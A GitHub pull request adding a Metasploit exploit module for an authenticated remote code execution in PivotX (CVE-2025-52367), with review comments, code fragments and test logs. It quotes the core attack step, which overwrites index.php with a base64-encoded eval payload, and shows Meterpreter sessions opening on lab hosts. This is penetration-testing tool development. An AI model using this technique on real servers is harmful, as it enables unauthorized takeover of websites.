Skip to content

Adds module for PivotX RCE (CVE-2025-52367) #20400

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 9 commits into from
Aug 12, 2025

Conversation

msutovsky-r7
Copy link
Contributor

Vulnerable Application

PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.

Install steps:

  1. Install Apache2, MySQL, PHP8.2+
  2. git clone https://github.com/pivotx/PivotX.git
  3. Move PivotX to webfolder

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/pivotx_rce
  4. Do: set USERNAME [PivotX username]
  5. Do: set PASSWORD [PivotX password]
  6. Do: set RHOSTS [target IP]
  7. Do: set LHOST [attacker IP]
  8. Do: run

Options

USERNAME

PivotX username.

PASSWORD

PivotX password.

Scenarios

msf exploit(linux/http/pivotx_rce) > run verbose=true 
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:40562) at 2025-07-18 14:20:03 +0200
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review July 22, 2025 14:33
@jheysel-r7 jheysel-r7 self-assigned this Jul 23, 2025
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::Tcp
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think you need this as the module is just sending HTTP requests via send_request_cgi in order to authenticate and exploit.

Suggested change
include Exploit::Remote::Tcp

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you change the name of the file to something that relates to this exploit specifically? We try to tie exploit file names to the exploit themselves (or the vulnerable endpoint of the application) to avoid having multiple modules named<application>_rce, <application>_rce2

Something like pivotx_index_php_overwrite.rb would be great.

Comment on lines 78 to 95
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should be able to use Rex::MIME::Message here

Suggested change
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = Rex::MIME::Message.new
data_post.bound = boundary
data_post.add_part('', nil, nil, 'form-data; name="returnto"')
data_post.add_part('', nil, nil, 'form-data; name="template"')
data_post.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="username"')
data_post.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yep, I have tried that, butRex::MIME::Message seems to have some issues, because this is request when it's custom MIME message:

POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Length: 429
Connection: keep-alive

------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="returnto"


------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="template"


------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="username"

[username]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="password"

[password]
------WebKitFormBoundary0QOnzz5aryMzqDAb

Which application accepts and process. And this is request sent with MIME:

POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Length: 411
Connection: keep-alive

--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="returnto"


--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="template"


--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="username"

[username]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="password"

[password]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E--
```
and when this request is sent to the application, it acts like there's no password/username. Not sure why it's happening, it might be problem with `MIME` library because I did have some issues with it previously. Will investigate more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe you tried something slightly different before? The above suggestion has been tested successfully on my installation. Give it a try and let me know if you run into any issues.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My bad, did something stupid and it didn't work as expected. But should be fixed now!

'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file.


version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')


html_body = res.get_html_document

return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }


return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")

modify_file
vprint_status('Triggering payload')
trigger_payload
restore
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you add restore to an ensure block?

@jheysel-r7
Copy link
Contributor

Great work @msutovsky-r7! Retested and everything is working as expected. I pushed one small change just to check the whether or not the credentials were submitted successfully or not in the login method.

Testing

msf exploit(linux/http/pivotx_index_php_overwrite) > run password=incorrect
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
[-] Exploit aborted due to failure: no-access: Login failed, incorrect username/password
[*] Exploit completed, but no session was created.
msf exploit(linux/http/pivotx_index_php_overwrite) > run password=notpassword
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
[*] Started bind TCP handler against 172.16.199.136:4444
[*] Sending stage (40004 bytes) to 172.16.199.136
[*] Meterpreter session 3 opened (172.16.199.1:56228 -> 172.16.199.136:4444) at 2025-08-12 10:38:01 -0700

meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.8.0-64-generic #67~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Jun 24 15:19:46 UTC 2 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data

@github-project-automation github-project-automation bot moved this from Todo to In Progress in Metasploit Kanban Aug 12, 2025
@jheysel-r7 jheysel-r7 merged commit 8251d89 into rapid7:master Aug 12, 2025
17 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Aug 12, 2025
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Aug 14, 2025
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Aug 14, 2025

Release Notes

This adds an exploit module leveraging an authenticated RCE in PivotX tracked as CVE-2025-52367. Authenticated users are able to overwrite the /pivotx/index.php endpoint with a php payload which gets executed in the context of the user running the web application. The module restores the original contents of the /pivotx/index.php endpoint once a session is established.

mayurtadvi352-svg added a commit to mayurtadvi352-svg/metasploit-framework that referenced this pull request Aug 15, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: Done
Development

Successfully merging this pull request may close these issues.

3 participants